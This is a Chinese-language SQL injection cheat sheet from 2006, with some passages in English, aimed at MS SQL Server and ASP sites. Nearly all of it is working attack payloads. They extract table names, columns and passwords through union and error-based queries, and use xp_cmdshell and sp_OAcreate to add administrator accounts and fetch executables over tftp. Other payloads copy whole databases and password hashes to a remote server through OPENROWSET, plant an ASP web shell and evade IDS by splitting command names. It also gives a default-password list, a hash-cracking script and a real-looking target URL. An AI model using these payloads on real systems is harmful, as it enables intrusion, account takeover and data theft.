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查看更多与Sql注射总结相关内容

Sql注射总结
作者:佚名  来源:不详  发布时间:2006-6-8 17:44:09  发布人:幽火

减小字体 增大字体

最重要的表名:
      select * from sysobjects
      sysobjects ncsysobjects
      sysindexes tsysindexes
      syscolumns
      systypes
      sysusers
      sysdatabases
      sysxlogins
      sysprocesses
      当然还有很多啦哦 这就看你自己在实际操作中的应用啦!:)


      最重要的一些用户名(默认sql数据库中存在着的)
      public
      dbo
      guest(一般禁止,或者没权限)
      db_sercurityadmin
      ab_dlladmin

      一些默认扩展


      xp_regaddmultistring
      xp_regdeletekey
      xp_regdeletevalue
      xp_regenumkeys
      xp_regenumvalues
      xp_regread
      xp_regremovemultistring
      xp_regwrite
      xp_availablemedia 驱动器相关
      xp_dirtree 目录
      xp_enumdsn ODBC连接
      xp_loginconfig 服务器安全模式信息
      xp_makecab 创建压缩卷
      xp_ntsec_enumdomains domain信息
      xp_terminate_process 终端进程,给出一个PID

      例如:
      sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
      exec xp_webserver
      sp_dropextendedproc 'xp_webserver'
      bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp
      -c -Slocalhost -Usa -Pfoobar
      ' group by users.id having 1=1-
      ' group by users.id, users.username, users.password, users.privs having
      1=1-
      '; insert into users values( 666, 'attacker', 'foobar', 0xffff )-

      union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where
      TABLE_NAME='logintable'-
      union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where
      TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
      union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where
      TABLE_NAME='logintable' where COLUMN_NAME NOT IN
('login_id','login_name')-
      union select TOP 1 login_name FROM logintable-
      union select TOP 1 password FROM logintable where login_name='Rahul'--
      构造语句:查询是否存在xp_cmdshell
      ' union select @@version,1,1,1--
      and 1=(select @@VERSION)
      and 'sa'=(select System_user)
      ' union select ret,1,1,1 from foo--
      ' union select min(username),1,1,1 from users where username > 'a'-
      ' union select min(username),1,1,1 from users where username > 'admin'-
      ' union select password,1,1,1 from users where username = 'admin'--
      and user_name()='dbo'
      and 0<>(select user_name()-
      ; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC
      SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap
      5245886 /add'
      and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND
      name = 'xp_cmdshell')
      ;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'


      1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
      and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
      and 0<>(select top 1 paths from newtable)-- 暴库大法
      and 1=(select name from master.dbo.sysdatabases where dbid=7)
      得到库名(从1到5都是系统的id,6以上才可以判断)
      创建一个虚拟目录E盘:
      declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
      @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web
      站点" -v "e","e:\"'
      访问属性:(配合写入一个webshell)
      declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
      @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a
      w3svc/1/ROOT/e +browse'


      and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
      dbid=6)
      依次提交 dbid = 7,8,9.... 得到更多的数据库名
      and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表
      假设为 admin

      and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
      not in ('Admin')) 来得到其他的表。
      and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and
      name='admin'
      and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
      and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)
      得到一个admin的一个字段,假设为 user_id
      and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and
      name not in
      ('id',...)) 来暴出其他的字段
      and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
      依次可以得到密码。。。。。假设存在user_id username ,password 等字段

      Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
      Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
      (union语句到处风靡啊,access也好用

      暴库特殊技巧::%5c='\' 或者把/和\ 修改%5提交
      and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
      dbid=6)
      and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
      and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
      not in('Address'))
      and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and
      name='admin' and uid>(str(id))) 判断id值
      and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

      http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap]
      ([swappass][char](255));--

      http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1

      ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare
      @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
      @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\',
      @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)

      http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--

 

      得到了web路径d:\xxxx,接下来:
      http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
      http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--


      传统的存在xp_cmdshell的测试过程:
      ;exec master..xp_cmdshell 'dir'
      ;exec master.dbo.sp_addlogin hax;--
      ;exec master.dbo.sp_password null,hax,hax;--
      ;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
      ;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all
      /passwordchg:yes /passwordreq:yes /active:yes /add';--
      ;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
      exec master..xp_servicecontrol 'start', 'schedule'
      exec master..xp_servicecontrol 'start', 'server'
      http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate
      'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null,
      'C:\WINNT\system32\cmd.exe /c net user swap 5258 /add'
      ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC
      SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net
      localgroup administrators swap/add'

      http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip
      get file.exe'-

      declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
      declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
      ;declare @a;set @a=db_name();backup database @a to
      disk='你的IP你的共享目录bak.dat'
      如果被限制则可以。
      select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec
      master.dbo.sp_addlogin hax')
      传统查询构造:
      select * FROM news where id=... AND topic=... AND .....
      admin'and 1=(select count(*) from [user] where username='victim' and
      right(left(userpass,01),1)='1') and userpass <>'
      select 123;--
      ;use master;--
      :a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
      'and 1<>(select count(email) from [user]);--
      ;update [users] set email=(select top 1 name from sysobjects where
      xtype='u' and status>0) where name='ffff';--
      说明:
      上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
      通过查看ffff的用户资料可得第一个用表叫ad
      然后根据表名ad得到这个表的ID
      ffff';update [users] set email=(select top 1 id from sysobjects where
      xtype='u' and name='ad') where name='ffff';--

      象下面这样就可以得到第二个表的名字了
      ffff';update [users] set email=(select top 1 name from sysobjects where
      xtype='u' and id>581577110) where name='ffff';--
      ffff';update [users] set email=(select top 1 count(id) from password)
      where name='ffff';--
      ffff';update [users] set email=(select top 1 pwd from password where id=2)
      where name='ffff';--

      ffff';update [users] set email=(select top 1 name from password where
      id=2) where name='ffff';--

      exec master..xp_servicecontrol 'start', 'schedule'
      exec master..xp_servicecontrol 'start', 'server'
      sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
      扩展存储就可以通过一般的方法调用:
      exec xp_webserver
      一旦这个扩展存储执行过,可以这样删除它:
      sp_dropextendedproc 'xp_webserver'

      insert into users values( 666,
      char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
      char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-

      insert into users values( 667,123,123,0xffff)-

      insert into users values ( 123, 'admin''--', 'password', 0xffff)-

      ;and user>0
      ;;and (select count(*) from sysobjects)>0
      ;;and (select count(*) from mysysobjects)>0 //为access数据库

      -----------------------------------------------------------通常注射的一些介绍:
      A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
      select * from 表名 where 字段=49
      注入的参数为ID=49 And [查询条件],即是生成语句:
      select * from 表名 where 字段=49 And [查询条件]

      (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
      select * from 表名 where 字段='连续剧'
      注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
      select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
      (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
      select * from 表名 where 字段like '%关键字%'
      注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:
      select * from 表名 where字段like '%' and [查询条件] and '%'='%'
      ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
      sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and
      status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
      ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
      从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
      post.htm内容:主要是方便输入。
      <iframe name=p src=# width=800 height=350 frameborder=0></iframe>
      <br>
      <form action=http://test.com/count.asp target=p>
      <input name="id" value="1552;update aaa set aaa=(select top 1 name from
      sysobjects where xtype='u' and status>0);--" style="width:750">
      <input type=submit value=">>>">
      <input type=hidden name=fno value="2, 3">
      </form>
      枚举出他的数据表名:
      id=1552;update aaa set aaa=(select top 1 name from sysobjects where
      xtype='u' and status>0);--
      这是将第一个表名更新到aaa的字段处。
      读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
      id=1552;update aaa set aaa=(select top 1 name from sysobjects where
      xtype='u' and status>0 and name<>'vote');--
      然后id=1552 and exists(select * from aaa where aaa>5)
      读出第二个表,^^^^^^一个个的读出,直到没有为止。
      读字段是这样:
      id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
      然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
      id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
      然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
      --------------------------------高级技巧:
      [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
      update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and
      status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]
      select top 1 name from sysobjects where xtype=u and status>0 and name not
      in('table1','table2',…)
      通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

      [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
      update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [
      where 条件]

      绕过IDS的检测[使用变量]
      declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
      declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'


      1、 开启远程数据库
      基本语法
      select * from OPENROWSET('SQLOLEDB',
      'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
      参数: (1) OLEDB Provider name
      2、 其中连接字符串参数可以是任何和端口用来连接,比如
      select * from OPENROWSET('SQLOLEDB',
      'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;',
      'select * from table'

      要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。

      基本语法:
      insert into OPENROWSET('SQLOLEDB',
      'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select
      * from table2
      这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
      insert into OPENROWSET('SQLOLEDB',
      'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;',
      'select * from table1') select * from table2

      insert into OPENROWSET('SQLOLEDB',
      'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select
      * from _sysdatabases')
      select * from master.dbo.sysdatabases

      insert into OPENROWSET('SQLOLEDB',
      'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select
      * from _sysobjects')
      select * from user_database.dbo.sysobjects

      insert into OPENROWSET('SQLOLEDB',
      'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;',
      'select * from _syscolumns')
      select * from user_database.dbo.syscolumns

      之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:
      insert into OPENROWSET('SQLOLEDB',
      'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;',
      'select * from table1') select * from database..table1

      insert into OPENROWSET('SQLOLEDB',
      'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;',
      'select * from table2') select * from database..table2

      ......

      3、 复4、 制哈西表(HASH)

      这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:
      insert into OPENROWSET('SQLOLEDB',
      'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;',
      'select * from _sysxlogins') select * from database.dbo.sysxlogins
      得到hash之后,6、 就可以进行暴力破解。这需要一点运气和大量时间。


      遍历目录的方法:
      先创建一个临时表:temp
      '5;create table temp(id nvarchar(255),num1 nvarchar(255),num2
      nvarchar(255),num3 nvarchar(255));--
      5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
      5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
      5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
      获得所有子目录的目录树结构,并寸入temp表中

      5';insert into temp(id) exec master.dbo.xp_cmdshell 'type
      c:\web\index.asp';-- 查看某个文件的内容
      5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
      5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp
/s/a';--
      5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
      C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

      5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
      (xp_dirtree适用权限PUBLIC)
      写入表:
      语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select
      IS_SRVROLEMEMBER('sysadmin'));--
      语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select
      IS_SRVROLEMEMBER('serveradmin'));-- 
      语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select
      IS_SRVROLEMEMBER('setupadmin'));--
      语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select
      IS_SRVROLEMEMBER('securityadmin'));--
      语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select
      IS_SRVROLEMEMBER('securityadmin'));--
      语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select
      IS_SRVROLEMEMBER('diskadmin'));--
      语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select
      IS_SRVROLEMEMBER('bulkadmin'));--
      语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select
      IS_SRVROLEMEMBER('bulkadmin'));--
      语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select
      IS_MEMBER('db_owner'));--
      把路径写到表中去:
      http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths
      varchar(100), id int)-
      http://www.xxxxx.com/down/list.asp?id=1;insert">http://http://www.xxxxx.com/down/list.asp?id=1;insert
       dirs exec master.dbo.xp_dirtree 'c:\'-
      http://www.xxxxx.com/down/list.asp?id=1">http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

      http://www.xxxxx.com/down/list.asp?id=1">http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-

      语句:http://www.xxxxx.com/down/list.asp?id=1;create">http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--

      语句:http://www.xxxxx.com/down/list.asp?id=1;insert">http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree
      'e:\web'--
      语句:http://www.xxxxx.com/down/list.asp?id=1">http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-

      把数据库备份到网页目录:下载
      http://www.xxxxx.com/down/list.asp?id=1;declare">http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--

 

      and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)
      and%201=(select%20Top%201%20col_name(object_id('USER_LOGIN'),1)%20from%20sysobjects)
      参看相关表。
      and 1=(select%20user_id%20from%20USER_LOGIN)
      and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)


      ……………………………………………………
      -- wscript.shell example
      declare @o int
      exec sp_oacreate 'wscript.shell', @o out
      exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
      It could be run in our sample scenario by specifying the following
      username (all on one line):
      Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec
      sp_oamethod @o, 'run', NULL, 'notepad.exe'--
      2) This example uses the 'scripting.filesystemobject' object to read a
      known text file:
      -- scripting.filesystemobject example - read a known file
      declare @o int, @f int, @t int, @ret int
      declare @line varchar(8000)
      exec sp_oacreate 'scripting.filesystemobject', @o out
      exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
      exec @ret = sp_oamethod @f, 'readline', @line out
      while( @ret = 0 )
      begin
      print @line
      exec @ret = sp_oamethod @f, 'readline', @line out
      end
      3) This example creates an ASP script that will run any command passed to
      it in the querystring:
      -- scripting.filesystemobject example - create a 'run this' .asp file
      declare @o int, @f int, @t int, @ret int
      exec sp_oacreate 'scripting.filesystemobject', @o out
      exec sp_oamethod @o, 'createtextfile', @f out,
      'c:\inetpub\wwwroot\foo.asp', 1
      exec @ret = sp_oamethod @f, 'writeline', NULL,
      '<% set o = server.createobject("wscript.shell"): o.run(
      request.querystring("cmd") ) %>'
      It is important to note that when running on a Windows NT4, IIS4 platform,
      commands issued by this ASP script will run as the 'system' account. In
      IIS5, however, they will run as the low-privileged IWAM_xxx account.
      4) This (somewhat spurious) example illustrates the flexibility of the
      technique; it uses the 'speech.voicetext' object, causing the SQL Server
      to speak: Page 16
      declare @o int, @ret int
      exec sp_oacreate 'speech.voicetext', @o out
      exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
      exec sp_oasetproperty @o, 'speed', 150
      exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong
      to,us', 528
      waitfor delay '00:00:05'
      This could of course be run in our example scenario, by specifying the
      following 'username' (note that the example is not only injecting a
      script, but simultaneously logging in to the application as 'admin'):
      Username: admin'; declare @o int, @ret int exec sp_oacreate
      'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo',
      'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak',
      NULL, 'all your sequel servers are belong to us', 528 waitfor delay
      '00:00:05'--


      常用密码和相关语句:
      password
      sqlserver
      sql
      admin
      sesame
      sa
      guest
      Here is the script:
      (sqlcrack.sql)
      create table tempdb..passwords( pwd varchar(255) )
      bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
      select name, pwd from tempdb..passwords inner join sysxlogins
      on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
      union select name, name from sysxlogins where
      (pwdcompare( name, sysxlogins.password, 0 ) = 1)
      union select sysxlogins.name, null from sysxlogins join syslogins on
      sysxlogins.sid=syslogins.sid
      where sysxlogins.password is null and
      syslogins.isntgroup=0 and
      syslogins.isntuser=0
      drop table tempdb..passwords
                           THE  END

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